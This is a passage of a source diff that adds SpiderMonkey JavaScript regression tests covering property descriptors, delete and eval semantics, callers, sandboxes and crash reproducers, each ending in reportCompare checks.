+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-4.js b/js/src/tests/js1_8_5/regress/regress-586482-4.js
new file mode 100644
index 000000000..34352bfe7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-4.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect, actual;
+
+var obj = {
+ f: function() {
+ expect = this.g;
+ actual = arguments.callee.caller;
+ print("Ok");
+ }
+};
+
+var obj2 = { __proto__: obj, g: function() { this.f(); }};
+
+var obj3 = { __proto__: obj2, h: function() { this.g(); }};
+
+var obj4 = { __proto__: obj3 }
+
+obj4.h();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-5.js b/js/src/tests/js1_8_5/regress/regress-586482-5.js
new file mode 100644
index 000000000..3ddc14193
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-5.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check() {
+ obj2.__proto__ = null;
+ return arguments.callee.caller;
+}
+
+var obj = { f: function() { check(); }};
+
+var obj2 = { __proto__: obj };
+
+obj2.f();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-588339.js b/js/src/tests/js1_8_5/regress/regress-588339.js
new file mode 100644
index 000000000..b23f018f9
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-588339.js
@@ -0,0 +1,5 @@
+({})
+eval("{}")
+
+/* Watch for crash. */
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-591846.js b/js/src/tests/js1_8_5/regress/regress-591846.js
new file mode 100644
index 000000000..68b1feca3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-591846.js
@@ -0,0 +1,64 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check(obj, name, value, readonly) {
+ // Start with a non-configurable, writable data property implemented via
+ // js::PropertyOp getter and setter.
+ var pd = Object.getOwnPropertyDescriptor(obj, name);
+
+ assertEq(pd.configurable, false, "non-configurable " + name);
+ assertEq(pd.writable, !readonly, "writable " + name);
+
+ try {
+ // Do not allow a transition from js::PropertyOp to writable js::Value
+ // data property.
+ Object.defineProperty(obj, name, {writable: true});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ if (!readonly) {
+ try {
+ // Do not allow the property denoted by name to become a true data
+ // property via a descriptor that preserves the native property's
+ // writable attribute.
+ Object.defineProperty(obj, name, {value: value});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+ }
+
+ try {
+ // Do not allow the property to be frozen at some bogus value.
+ Object.defineProperty(obj, name, {value: "bogus", writable: false});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ // Now make name non-writable.
+ Object.defineProperty(obj, name, {writable: false})
+
+ // Assert that the right getter result "stuck".
+ assertEq(obj[name], value);
+
+ // Test that it is operationally non-writable now.
+ obj[name] = "eek!";
+ assertEq(obj[name], value);
+}
+
+// Reset RegExp.leftContext to the empty string.
+/x/.test('x');
+
+var d = Object.getOwnPropertyDescriptor(RegExp, "leftContext");
+assertEq(d.set, undefined);
+assertEq(typeof d.get, "function");
+assertEq(d.enumerable, true);
+assertEq(d.configurable, false);
+assertEq(d.get.call(RegExp), "");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-591897.js b/js/src/tests/js1_8_5/regress/regress-591897.js
new file mode 100644
index 000000000..11e1f05e6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-591897.js
@@ -0,0 +1,14 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+var expect = 42;
+var actual = (function({
+ x: [w]
+},
+x) {
+ with({}) {return w;}
+})({x:[42]});
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592202-3.js b/js/src/tests/js1_8_5/regress/regress-592202-3.js
new file mode 100644
index 000000000..db44245b0
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592202-3.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+test();
+
+function test()
+{
+ var counter = 0;
+ function f(x,y) {
+ try
+ {
+ throw 42;
+ }
+ catch(e2)
+ {
+ foo(function(){ return x; }| "9.2" && 5 || counter && e);
+ ++counter;
+ }
+ }
+
+ f(2, 1);
+}
+
+function foo(bar) { return ""+bar; }
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592202-4.js b/js/src/tests/js1_8_5/regress/regress-592202-4.js
new file mode 100644
index 000000000..742528056
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592202-4.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function p() { }
+
+function test()
+{
+ var counter = 0;
+
+ function f(x) {
+ try
+ {
+ throw 42;
+ }
+ catch(e)
+ {
+ assertEq(counter, 0);
+ p(function(){x;});
+ counter = 1;
+ }
+ }
+
+ f(2);
+ assertEq(counter, 1);
+}
+
+test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592556-c35.js b/js/src/tests/js1_8_5/regress/regress-592556-c35.js
new file mode 100644
index 000000000..c2ceb4a32
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592556-c35.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var obj = {a: 0, b: 1, c: 2};
+delete obj.b; // switch to dictionary mode
+Object.defineProperty(obj, 'g',
+ {get: function () { return -1; }, configurable: true});
+for (var i = 3; i < 20; i++)
+ obj['x' + i] = i; // get property table
+for (var i = 3; i < 20; i++)
+ delete obj['x' + i]; // add to freelist
+delete obj.g; // must update lastProp->freeslot, to avoid assertion
+
+// extra junk to try to hit the assertion, if freeslot is not updated
+gc();
+obj.d = 3;
+obj.e = 4;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-593256.js b/js/src/tests/js1_8_5/regress/regress-593256.js
new file mode 100644
index 000000000..fe24bee40
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-593256.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+eval("\
+ (function(){for(d in[0,Number]) {\
+ this.__defineGetter__(\"\",function(){}),\
+ [(this.__defineGetter__(\"x\",Math.pow))]\
+ }})\
+")()
+delete gc
+eval("\
+ (function() {\
+ for(e in this.__defineSetter__(\"x\",function(){})){}\
+ })\
+")()
+delete gc
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-595230-2.js b/js/src/tests/js1_8_5/regress/regress-595230-2.js
new file mode 100644
index 000000000..02499df76
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-595230-2.js
@@ -0,0 +1,10 @@
+// |reftest| fails-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jason Orendorff <jorendorff@mozilla.com>
+
+var s = evalcx("");
+delete s.Object;
+evalcx("var x;", s);
+
+this.reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-595365-1.js b/js/src/tests/js1_8_5/regress/regress-595365-1.js
new file mode 100644
index 000000000..1010d8853
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-595365-1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes the value of MAX_PROPERTY_TREE_HEIGHT.
+ */
+var i = 0;
+function add0to64(o) {
+ o.p00 = ++i;o.p01 = ++i;o.p02 = ++i;o.p03 = ++i;o.p04 = ++i;o.p05 = ++i;o.p06 = ++i;o.p07 = ++i;
+ o.p10 = ++i;o.p11 = ++i;o.p12 = ++i;o.p13 = ++i;o.p14 = ++i;o.p15 = ++i;o.p16 = ++i;o.p17 = ++i;
+ o.p20 = ++i;o.p21 = ++i;o.p22 = ++i;o.p23 = ++i;o.p24 = ++i;o.p25 = ++i;o.p26 = ++i;o.p27 = ++i;
+ o.p30 = ++i;o.p31 = ++i;o.p32 = ++i;o.p33 = ++i;o.p34 = ++i;o.p35 = ++i;o.p36 = ++i;o.p37 = ++i;
+ o.p40 = ++i;o.p41 = ++i;o.p42 = ++i;o.p43 = ++i;o.p44 = ++i;o.p45 = ++i;o.p46 = ++i;o.p47 = ++i;
+ o.p50 = ++i;o.p51 = ++i;o.p52 = ++i;o.p53 = ++i;o.p54 = ++i;o.p55 = ++i;o.p56 = ++i;o.p57 = ++i;
+ o.p60 = ++i;o.p61 = ++i;o.p62 = ++i;o.p63 = ++i;o.p64 = ++i;o.p65 = ++i;o.p66 = ++i;o.p67 = ++i;
+ o.p70 = ++i;o.p71 = ++i;o.p72 = ++i;o.p73 = ++i;o.p74 = ++i;o.p75 = ++i;o.p76 = ++i;o.p77 = ++i;
+ o.p100 = ++i;
+ return o;
+}
+function add65th(o) {
+ o.p101 = ++i;
+}
+var o = add0to64({});
+add65th(o);
+delete o.p101;
+add65th(o);
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-596103.js b/js/src/tests/js1_8_5/regress/regress-596103.js
new file mode 100644
index 000000000..2b1910096
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596103.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>, Jesse Ruderman <jruderman@gmail.com>
+
+for (var u = 0; u < 3; ++u) {
+ var y = [];
+ Object.create(y);
+ gc();
+ y.t = 3;
+ gc();
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-596805-1.js b/js/src/tests/js1_8_5/regress/regress-596805-1.js
new file mode 100644
index 000000000..c008beb38
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596805-1.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var f = function(){};
+for (var y in f);
+f.j = 0;
+Object.defineProperty(f, "k", ({configurable: true}));
+delete f.j;
+Object.defineProperty(f, "k", ({get: function() {}}));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-596805-2.js b/js/src/tests/js1_8_5/regress/regress-596805-2.js
new file mode 100644
index 000000000..52bf4fc6c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596805-2.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+for each(let c in [0, 0, 0, 0, 0]) {
+ try { (function() {
+ this.c = this;
+ this.e = arguments;
+ Object.defineProperty(this, "d", {
+ get: Math.pow,
+ configurable: true
+ });
+ delete this.e;
+ delete this.c;
+ Object.defineProperty(this, "d", {
+ writable: true
+ });
+ if (Math.tan( - 1)) {
+ Object.defineProperty(this, {});
+ }
+ } (c));
+ } catch(e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-597945-1.js b/js/src/tests/js1_8_5/regress/regress-597945-1.js
new file mode 100644
index 000000000..3ecf569e6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-597945-1.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var arguments;
+
+function b(foo) {
+ delete foo.d
+ delete foo.w
+ foo.d = true
+ foo.w = Object
+ delete Object.defineProperty(foo, "d", ({
+ set: Math.w
+ })); {}
+}
+for each(e in [arguments, arguments]) {
+ try {
+ b(e)('')
+ } catch (e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-597945-2.js b/js/src/tests/js1_8_5/regress/regress-597945-2.js
new file mode 100644
index 000000000..ca5b2e162
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-597945-2.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = {d: true, w: true};
+Object.defineProperty(a, "d", {set: undefined});
+delete a.d;
+delete a.w;
+a.d = true;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-598176.js b/js/src/tests/js1_8_5/regress/regress-598176.js
new file mode 100644
index 000000000..754edf239
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-598176.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function make() {
+ var r = {};
+ r.desc = {get: function() {}};
+ r.a = Object.defineProperty({}, "prop", r.desc);
+ r.info = Object.getOwnPropertyDescriptor(r.a, "prop");
+ return r;
+}
+
+r1 = make();
+assertEq(r1.desc.get, r1.info.get);
+
+// Distinct evaluations of an object literal make distinct methods.
+r2 = make();
+assertEq(r1.desc.get === r2.desc.get, false);
+
+r1.info.get.foo = 42;
+
+assertEq(r1.desc.get.hasOwnProperty('foo'), !r2.desc.get.hasOwnProperty('foo'));
+assertEq(r1.info.get.hasOwnProperty('foo'), !r2.info.get.hasOwnProperty('foo'));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-600067.js b/js/src/tests/js1_8_5/regress/regress-600067.js
new file mode 100644
index 000000000..4bcf57406
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-600067.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes for the value of PropertyTable::HASH_THRESHOLD (6).
+ */
+
+function s(e) {
+ var a, b, c, d;
+ function e() { }
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-601399.js b/js/src/tests/js1_8_5/regress/regress-601399.js
new file mode 100644
index 000000000..7f727c697
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-601399.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Test courtesy of Olov Lassus <olov.lassus@gmail.com>.
+ */
+
+function keys(o) {
+ var a = [];
+ for (var key in o) {
+ a.push(key);
+ }
+ return a;
+}
+
+var obj = {
+ 'a': function() {}, 'b': function() {}, 'c': function() {}
+};
+var orig_order = keys(obj).toString();
+var tmp = obj["b"];
+var read_order = keys(obj).toString();
+
+reportCompare(orig_order, read_order,
+ "property enumeration order should not change after reading a method value");
diff --git a/js/src/tests/js1_8_5/regress/regress-602621.js b/js/src/tests/js1_8_5/regress/regress-602621.js
new file mode 100644
index 000000000..bf9eaffec
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-602621.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function test(arg) {
+ eval(arg);
+ {
+ function arguments() { return 1; }
+ }
+ return arguments;
+}
+
+reportCompare("function", typeof test("42"), "function sub-statement must override arguments");
diff --git a/js/src/tests/js1_8_5/regress/regress-607799.js b/js/src/tests/js1_8_5/regress/regress-607799.js
new file mode 100644
index 000000000..f1111dd67
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-607799.js
@@ -0,0 +1,2 @@
+// |reftest| fails-if(!xulRuntime.shell)
+reportCompare(typeof(evalcx("/x/")), "object")
diff --git a/js/src/tests/js1_8_5/regress/regress-607863.js b/js/src/tests/js1_8_5/regress/regress-607863.js
new file mode 100644
index 000000000..75d9ae09f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-607863.js
@@ -0,0 +1,14 @@
+// |reftest| fails-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var sandbox = evalcx('');
+var foreign = evalcx('({ get f() this, set x(v) { result = this } })', sandbox);
+var local = Object.create(foreign);
+
+reportCompare(local, local.f, "this should be set correctly in getters");
+local.x = 42;
+reportCompare(local, sandbox.result, "this should be set correctly in setters");
diff --git a/js/src/tests/js1_8_5/regress/regress-609617.js b/js/src/tests/js1_8_5/regress/regress-609617.js
new file mode 100644
index 000000000..f588153d4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-609617.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var actual;
+var expect = "pass";
+
+var x = "fail";
+function f() {
+ var x = "pass";
+ delete(eval("actual = x"));
+}
+f();
+assertEq(actual, expect);
+
+function g() { return 1 }
+function h() { function g() { throw 2; } eval('g()')++; }
+
+try {
+ h();
+ assertEq(0, -1);
+} catch (e) {
+ assertEq(e, 2);
+}
+
+var lhs_prefix = ["", "++", "--", "", "", "[", "[y, " ];
+var lhs_suffix = [" = 'no'", "", "", "++", "--", ", y] = [3, 4]", "] = [5, 6]"];
+
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval(lhs_prefix[i] + "eval('x')" + lhs_suffix[i]);
+ assertEq(i, -2);
+ } catch (e) {
+ if (/\[/.test(lhs_prefix[i])) {
+ assertEq(e.message, "invalid destructuring target");
+ } else {
+ /*
+ * NB: JSOP_SETCALL throws only JSMSG_BAD_LEFTSIDE_OF_ASS, it does not
+ * specialize for ++ and -- as the compiler's error reporting does. See
+ * the next section's forked assertEq code.
+ */
+ assertEq(e.message, "invalid assignment left-hand side");
+ }
+ }
+}
+
+/* Now test for strict mode rejecting any SETCALL variant at compile time. */
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval("(function () { 'use strict'; " + lhs_prefix[i] + "foo('x')" + lhs_suffix[i] + "; })");
+ assertEq(i, -3);
+ } catch (e) {
+ if (/\+\+|\-\-/.test(lhs_prefix[i] || lhs_suffix[i]))
+ assertEq(e.message, "invalid increment/decrement operand");
+ else if (/\[/.test(lhs_prefix[i]))
+ assertEq(e.message, "invalid destructuring target");
+ else
+ assertEq(e.message, "invalid assignment left-hand side");
+ }
+}
+
+/*
+ * The useless delete is optimized away, but the SETCALL must not be. It's not
+ * an early error, though.
+ */
+var fooArg;
+function foo(arg) { fooArg = arg; }
+try {
+ eval("delete (foo('x') = 42);");
+ assertEq(0, -4);
+} catch (e) {
+ assertEq(e.message, "invalid assignment left-hand side");
+}
+assertEq(fooArg, 'x');
+
+/* Delete of a call expression is not an error at all, even in strict mode. */
+function g() {
+ "use strict";
+ assertEq(delete Object(), true);
+}
+g();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-610026.js b/js/src/tests/js1_8_5/regress/regress-610026.js
new file mode 100644
index 000000000..e7b9df909
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-610026.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = "pass";
+var actual;
+
+// Scripts used to be limited to 2**20 blocks, but no longer since the frontend
+// rewrite. The exact limit-testing here should all pass now, not pass for
+// 2**20 - 1 and fail for 2**20.
+var s = "{}";
+for (var i = 0; i < 21; i++)
+ s += s;
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += s.slice(0, -4);
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += "{}";
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-614714.js b/js/src/tests/js1_8_5/regress/regress-614714.js
new file mode 100644
index 000000000..4d387279c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-614714.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f(reportCompare) {
+ if (typeof clear === 'function')
+ clear(this);
+ return f;
+}
+
+// This must be called before clear().
+reportCompare(0, 0, 'ok');
+f(); // don't assert
diff --git a/js/src/tests/js1_8_5/regress/regress-617405-1.js b/js/src/tests/js1_8_5/regress/regress-617405-1.js
new file mode 100644
index 000000000..f8625496c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-617405-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+assertEq(Object.getOwnPropertyDescriptor(C, "prototype").configurable, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-617405-2.js b/js/src/tests/js1_8_5/regress/regress-617405-2.js
new file mode 100644
index 000000000..76e59b663
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-617405-2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+try {
+ Object.defineProperty(C, "prototype", {get: function() { throw 0; }});
+ actual = "no exception";
+} catch (exc) {
+ actual = exc.name;
+}
+new C; // don't assert
+assertEq(actual, "TypeError");
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-618572.js b/js/src/tests/js1_8_5/regress/regress-618572.js
new file mode 100644
index 000000000..915c60233
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-618572.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 618572;
+var summary = 'Do not assert when ungetting a Unicode char sequence';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: illegal character';
+
+ try
+ {
+ eval("var a\\0021 = 3;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_5/regress/regress-619003-1.js b/js/src/tests/js1_8_5/regress/regress-619003-1.js
new file mode 100644
index 000000000..6a9fd3b50
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-619003-1.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'SyntaxError: duplicate argument names not allowed in this context';
+var actual = 'No error';
+
+var a = [];
+
+// Test up to 200 to cover tunables such as js::PropertyTree::MAX_HEIGHT.
+for (var i = 0; i < 200; i++) {
+ a.push("b" + i);
+ try {
+ eval("(function ([" + a.join("],[") + "],a,a){})");
+ } catch (e) {
+ actual = '' + e;
+ }
+ assertEq(actual, expect);
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-619003-2.js b/js/src/tests/js1_8_5/regress/regress-619003-2.js
new file mode 100644
index 000000000..643286f24
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-619003-2.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "global";
+var actual = expect;
+function f([actual]) { }
+f(["local"]);
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-620376-1.js b/js/src/tests/js1_8_5/regress/regress-620376-1.js
new file mode 100644
index 000000000..de55a18c2
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-620376-1.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Igor Bukanov
+ */
+
+// Test that we can terminate looping array enumeration
+function test() {
+ if (typeof timeout != "function")
+ return;
+
+ var p = new Proxy({}, { onwKeys: function() { return Array(1e9); }});
+
+ expectExitCode(6);
+ timeout(0.001);
+
+ var n = 0;
+ for (i in p) { ++n;}
+ return n;
+}
+
+test();
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-621814.js b/js/src/tests/js1_8_5/regress/regress-621814.js
new file mode 100644
index 000000000..146a2f3ed
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-621814.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'pass';
+var actual = expect;
+function f({"\xF51F": x}) {}
+try {
+ eval(uneval(f));
+} catch (e) {
+ actual = '' + e;
+}
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-624199.js b/js/src/tests/js1_8_5/regress/regress-624199.js
new file mode 100644
index 000000000..09eda4f5c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624199.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+function roundTrip(f) {
+ try {
+ eval(uneval(f));
+ return true;
+ } catch (e) {
+ return '' + e;
+ }
+}
+
+function f() { if (true) { 'use strict'; } var eval; }
+assertEq(roundTrip(f), true);
+
+reportCompare(true,true);
diff --git a/js/src/tests/js1_8_5/regress/regress-624547.js b/js/src/tests/js1_8_5/regress/regress-624547.js
new file mode 100644
index 000000000..659b64750
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624547.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(x) {
+ delete arguments[0];
+ for(var i=0; i<20; i++) {
+ arguments[0] !== undefined;
+ }
+}
+
+/* Don't crash. */
+f(1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-624968.js b/js/src/tests/js1_8_5/regress/regress-624968.js
new file mode 100644
index 000000000..b631df90a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-624968.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Bob Clary <bclary@bclary.com>
+
+try {
+ new {prototype: TypeError.prototype};
+} catch (e) {}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-626436.js b/js/src/tests/js1_8_5/regress/regress-626436.js
new file mode 100644
index 000000000..09b9093d7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-626436.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Christian Holler <decoder@own-hero.net>, Jesse Ruderman <jruderman@gmail.com>
+
+(1 ? 2 : delete(0 ? 0 : {})).x;
+
+reportCompare(0, 0, 'ok');
